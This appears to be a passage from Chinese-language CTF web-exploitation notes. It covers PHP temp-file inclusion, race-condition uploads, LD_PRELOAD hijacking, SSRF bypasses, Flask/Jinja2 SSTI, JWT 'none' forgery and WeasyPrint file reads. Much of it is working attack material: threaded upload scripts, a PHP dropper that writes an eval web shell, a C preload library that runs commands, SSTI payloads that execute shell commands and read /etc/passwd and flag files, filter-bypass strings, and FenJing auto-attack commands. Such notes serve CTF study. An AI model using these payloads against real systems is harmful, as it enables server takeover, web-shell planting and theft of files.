[name] => run.sh
[full_path] => run.sh
[type] =>
[tmp_name] => /tmp/phpoFnbQf
[error] => 0
[size] => 10
)
phpinfo
phpinfo 页面会将当前请求上下文中所有变量都打印出来,若我们直接向 phpinfo页面送包含文件的 post请求,则即可在返回包里找到 $_FILES
变量的内容,从而拿到临时文件名
glob
若上述方法都无法实施,在 Linux 中,还可以通过 glob 通配符 定位文件
glob 简单使用:
*
:代替 0 个或 任意个字符?
:代替 1 个字符[...]
:匹配其中一个字符,例[a,b,c]
匹配字符a / b / c
{a, b}
:匹配 a 或者 b
延长临时文件存在时间
可以通过 文件包含 让 php 包含自身从而导致死循环,随后 php 守护进程会因内存溢出而崩溃,但是 php 自身是不会因为错误直接退出的,它会清空自己的内存堆栈,以便从错误中恢复,这就保证了 web 服务的正常运转。
同时该过程也会打断 php 对临时文件的处理,虽然最终仍会被删除,但相较之前可以明显看出临时文件在磁盘的中存在的时间变长了!
基于此,我们便可以编写并发脚本,不断发起 post 文件的请求:
import requests
from threading import Thread
def test():
url = "http://localhost:8080/include.php?file=include.php"
r = requests.post(url, files={'file': open('./run.sh')})
print(r.text)
lst = []
for _ in range(500):
t = Thread(target=test)
lst.append(t)
t.start()
for item in lst:
item.join()
可以看到,当我们在请求时,磁盘中总是存在尚未被删除的临时文件。直至请求停止,文件被全部删除
于此同时,便可以在其他地方使用上述 glob 路径通配符泛式加载临时文件
import requests
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.get(url)
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
条件竞争
条件竞争漏洞(Race condition)官方概念是“发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
当代码执行逻辑为“先移动,后检测,不符合再删除,符合则改名字”时,我们可以让burp一直发包,让php程序一直处于移动php文件到upload目录这个阶段。
我们使用多线程并发访问上传的文件,总会有一次在上传文件到删除文件这个时间段访问到上传的php文件,一旦我们成功访问到上传的php文件,那么它就会向服务器写一个shell。
上传文件:
<?php fputs(fopen('shell2.php','w'),'<?php @eval($_POST["x"])?>');?>
第一步:burpsuite抓包,上传文件名字shell.php.7z。
第二步:python脚本打开并运行
import requests
url = "http://127.0.0.1/upload-labs/upload/shell.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("NO")
第三步:在python脚本运行后,burpsuite开始无限制重放数据包
直到python脚本出现OK,才关闭burpsuite
第四步:访问生成的shell2.php文件
Python
os.path.join 函数
用于路径拼接文件路径,可以传入多个路径。
如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将被视为绝对路径。
>>> os.path.join('/home/download', '/opt/logo.png')
/opt/logo.png
>>> pathlib.Path('/home/download') / '/opt/logo.png'
/opt/logo.png
IIS
IIS 6 解析漏洞
IIS 6 下当文件名为 abc.asp;xx.jpg
时,会将其解析为 abc.asp
。
文件包含
LD_PRELOAD
LD_PRELOAD是Linux/Unix系统的一个环境变量,它可以影响程序的运行时的链接,它允许在程序运行前定义优先加载的动态链接库。通过这个环境变量,可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖系统的函数库。LD_PRELOAD和hook很像。
利用LD_PRELOAD需要程序开启一个新的进程(如执行system命令等)
代码示例:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
//反弹shell
system("cat /f*");
}
char *strcpy (char *__restrict __dest, const char *__restrict __src) { //可以针对echo劫持
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
gcc -shared -fPIC shell.c -o shell.so
生成的so文件可以更改后缀名,不影响加载。
侧信道攻击
https://mp.weixin.qq.com/s/gNi3ElOcD4qbCrYx6QJZdg
<?php file($_POST[0]);
PHP函数file
读取一个文件,但不输出其内容,这意味着Apache服务器的响应中不会显示任何内容。
但是我们可以利用filter获得文件内容。
工具
filters_chain_oracle_exploit --help
#使用实例
filters_chain_oracle_exploit --target http://127.0.0.1 --file /flag --parameter f --data {"string":"value"}
filters_chain_oracle_exploit --target http://eci-2zeja77oava0l5va1xwg.cloudeci1.ichunqiu.com/ --file flag.php --parameter f --time_based_attack True --match "Allowed memory size"
SSRF 服务端请求伪造
协议利用
-
Dict 协议
dict://fuzz.wuyun.org:8080/helo:dict
-
Gopher 协议
gopher://fuzz.wuyun.org:8080/gopher
-
File 协议
file:///etc/passwd
URL 解析绕过
-
-
http://www.baidu.com@192.168.0.1/
与http://192.168.0.1
请求的都是192.168.0.1
的内容 -
可以指向任意 ip 的域名
xip.io
:http://127.0.0.1.xip.io/
==>http://127.0.0.1/
-
短地址
http://dwz.cn/11SMa
==>http://127.0.0.1
-
利用句号
。
:127。0。0。1
==>127.0.0.1
-
%00截断:
127.0.0.1%00www.baidu.com
-
利用 Enclosed alphanumerics:
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
-
SSTI 模板注入
关键:{}
Flask
属于 Python SSTI。一般我们会在疑似的地方尝试插入简单的模板表达式,如 {{7*7}}
{{config}}
,看看是否能在页面上显示预期结果,以此确定是否有注入点。
基本流程:拿基类 -> 找子类 -> 构造命令执行或者文件读取负载 -> 拿flag
基本函数
print(A.__class__) # 使用 __class__ 查看类属性
print(A.__class__.__base__) # 使用 __base__ 查看父类
print(A.__class__.__mro__) # 直接使用 __mro__ 查看类继承关系顺序
print(A.__class__.__base__.__base__.__subclasses__()) # 查看祖先下面所有的子类(这里假定祖先为O)
# 更多魔术方法可以在 SSTI 备忘录部分查看
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 查看继承关系和调用顺序,返回元组。此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
调用
当我们拿到基类,也就是 <class 'object'>
时,便可以直接使用subclasses()
获取基类的所有子类了。
比如我们以存在 eval
函数的类为例子,我们不需要认识类名,我们只需要知道,这个类通过 .__init__.__globals__.__builtins__['eval']('')
的方式可以调用 eval
的模块就好了。
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取函数所处空间下可使用的module、方法以及所有变量。
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身.
包含 eval 的子类
<class 'warnings.catch_warnings'>
自动寻找序号
# 使用 python 脚本 用于寻找序号
url = "http://url/level/1"
def find_eval(url):
for i in range(500):
data = {
'code': "{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}",
}
res = requests.post(url, data=data, headers=headers)
if 'eval' in res.text:
print(data)
find_eval(url)
自动化Paylaod
# 模板语法 _ 命令执行_eval
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'eval' in x.__init__.__globals__['__builtins__']['eval'].__name__ %}
{{ x.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endfor %}
命令执行
在构造命令执行的 payload 的时候,要注意一些函数的回显和返回值。
# eval
x[NUM].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')
# os.py
x[NUM].__init__.__globals__['os'].popen('ls /').read()
# popen
x[NUM].__init__.__globals__['popen']('ls /').read()
# _frozen_importlib.BuiltinImporter
x[NUM]["load_module"]("os")["popen"]("ls /").read()
# linecache
x[NUM].__init__.__globals__['linecache']['os'].popen('ls /').read()
# subprocess.Popen
x[NUM]('ls /',shell=True,stdout=-1).communicate()[0].strip()
文件读取
由于Python2中的 File 类在 Python3 中被去掉了,所以目前也就 FileLoader ( _frozen_importlib_external.FileLoader) 算真正意义上原生的文件读取
[].__class__.__bases__[0].__subclasses__()[NUM]["get_data"](0,"/etc/passwd")
其他文件读取的方法无非还是在命令执行的基础上去导入文件操作的包 ( 为了方便,我们使用 X 代表基类 )
- codecs模块
x[NUM].__init__.__globals__['__builtins__'].eval("__import__('codecs').open('/app/flag').read()")
- pathlib模块
x[NUM].__init__.__globals__['__builtins__'].eval("__import__('pathlib').Path('/app/flag').read_text()")
- io模块
x[NUM].__init__.__globals__['__builtins__'].eval("__import__('io').open('/app/flag').read()")
- open函数
x[NUM].__init__.__globals__['__builtins__'].eval("open('/app/flag').read()")
模板语法示例
{{ variable_name }}
:显示一个变量的值。例如 {{ config }}
可以显示配置文件的值。
{% if ... %} ... {% endif %}
:条件语句,用于基于特定条件显示不同的内容。
{% for item in sequence %} ... {% endfor %}
:循环语句,用于遍历序列(如列表或字典)并对每个元素执行操作。
{{ variable_name|filter_name }}
:对变量应用过滤器。
## 序号查找
{% set ns = namespace(counter=0) %}
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'eval' in x.__init__.__globals__['__builtins__']['eval'].__name__ %}
{{ ns.counter}}
{% endif %}
{% set ns.counter = ns.counter + 1 %}
{% endfor %}
## 类名格式化输出
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'eval' in x.__init__.__globals__['__builtins__']['eval'].__name__ %}
{{ x.__name__ }} <br>
{% endif %}
{% endfor %}
基本绕过
过滤关键字
[]['__cla''ss__'].__base__['__subcla''sses__']()
[]['__cla''ss__'].__base__['__subcla''sses__']()[416].__init__.__globals__['__buil''tins__']['ev''al']("__imp""ort__('o''s').po""pen('ls /').read()")
工具
FenJing
专为CTF设计的Jinja2 SSTI全自动绕WAF脚本
焚靖是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,可以自动攻击给定的网站或接口。
基本使用
python -m fenjing webui
# python -m fenjing scan --url 'http://xxxx:xxx'
scan
在终端可以用scan功能,猜测某个页面的参数并自动攻击:
python -m fenjing scan --url 'http://xxxx:xxx/yyy'
crack
也可以用crack功能,手动指定参数进行攻击:
python -m fenjing crack --url 'http://xxxx:xxx/yyy' --detect-mode fast --inputs aaa,bbb --method GET
这里提供了aaa和bbb两个参数进行攻击,并使用--detect-mode fast
加速攻击速度
crack-request
还可以将HTTP请求写进一个文本文件里(比如说req.txt
)然后进行攻击
文本文件内容如下:
GET /?name=PAYLOAD HTTP/1.1
Host: 127.0.0.1:5000
Connection: close
命令如下:
python -m fenjing crack-request -f req.txt --host '127.0.0.1' --port 5000
其它
jwt
JSON Web令牌以紧凑的形式由三部分组成,这些部分由点(.
)分隔,分别是:
- 头部(Header)
- 有效载荷(Payload)
- 签名(Signature)
攻击
将签名算法改为none
我们知道,签名算法可以确保JWT在传输过程中不会被恶意用户所篡改。
但头部中的alg字段却可以改为none。
另外,一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证。
将alg字段改为none后,系统就会从JWT中删除相应的签名数据(这时,JWT就会只含有头部 + ‘.’ + 有效载荷 + ‘.’),然后将其提交给服务器。
这种攻击的具体例子可以从http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php中找到。
jwt_tool使用
速记
WeasyPrint
WeasyPrint是一个用于HTML和CSS的可视化渲染引擎,可以将HTML文档导出为打印标准的PDF文件
<!DOCTYPE html>
<html>
<head>
<title>cai</title>
</head>
<body>
<link rel = "attachment" href = "file:///flag">
</body>
</html>